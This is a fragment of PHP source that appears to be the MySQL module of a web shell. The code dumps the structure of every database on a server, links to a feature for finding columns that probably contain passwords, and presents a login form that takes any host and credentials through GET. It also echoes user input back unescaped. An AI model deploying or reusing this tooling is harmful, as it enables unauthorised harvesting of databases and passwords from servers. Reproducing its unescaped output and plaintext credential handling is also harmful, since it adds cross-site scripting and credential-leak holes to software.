1320 mysql_query("USE `".$db[0]."`");
1321 $gettables = mysql_query("SHOW TABLES");
1322 $tables = array();
1323 echo "-- - Database structure: ".get('h')." / ".$db[0]."\n-- - ".date('r')."\n";
1324 if($dbprefix) echo "-- - Added prefix: ".$dbprefix."\n";
1325 echo "CREATE DATABASE `".$dbprefix.$db[0]."`;\n";
1326 echo "USE `".$dbprefix.$db[0]."`;\n\n";
1327 while($table= mysql_fetch_row($gettables)) {
1328 gettablesql($table[0]);
1329 }
1330 } else {
1331 echo "-- - Skipping database: ".$db[0].", because of wrong prefix.\n";
1332 }
1333 }
1334 exit;
1335 break;
1336 }
1337 if(!get('shownone')) echo "<hr />";
1338 }
1339 if(!get('shownone')) echo '<b>General actions:</b> <br />[<a href="'.$url.'&a=findpwcols">Find columns probably containing passwords</a>] [<a href="'.$url.'&a=find">Search columns/tables</a>] [<a href="'.$url.'&a=dlsql&shownone=1">Download structure of all databases</a>]';
1340 } else {
1341 echo "<b>Error:</b> Could not connect to server (wrong pass?)<br />";
1342 $needlogin = 1;
1343 }
1344 } else $needlogin = 1;
1345 if(isset($needlogin)) {
1346 ?>
1347 <form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']); ?>">
1348 <input type="hidden" name="action" value="mysql" />
1349 <input type="hidden" name="type" value="miniadmin" />
1350 Host: <input type="text" name="h" value="<?php echo (get('h') ? get('h') : 'localhost'); ?>" /><br />
1351 MySQL user: <input type="text" name="u" value="<?php echo get('u') ?>" /><br />
1352 MySQL pass: <input type="text" name="p" value="<?php echo get('p') ?>" /><br />
1353 <input type="submit" value="Go!" />
1354 </form>
1355 <?php
1356 }
1357 break;
1358
1359 }
1360 break;
1361}
1362?>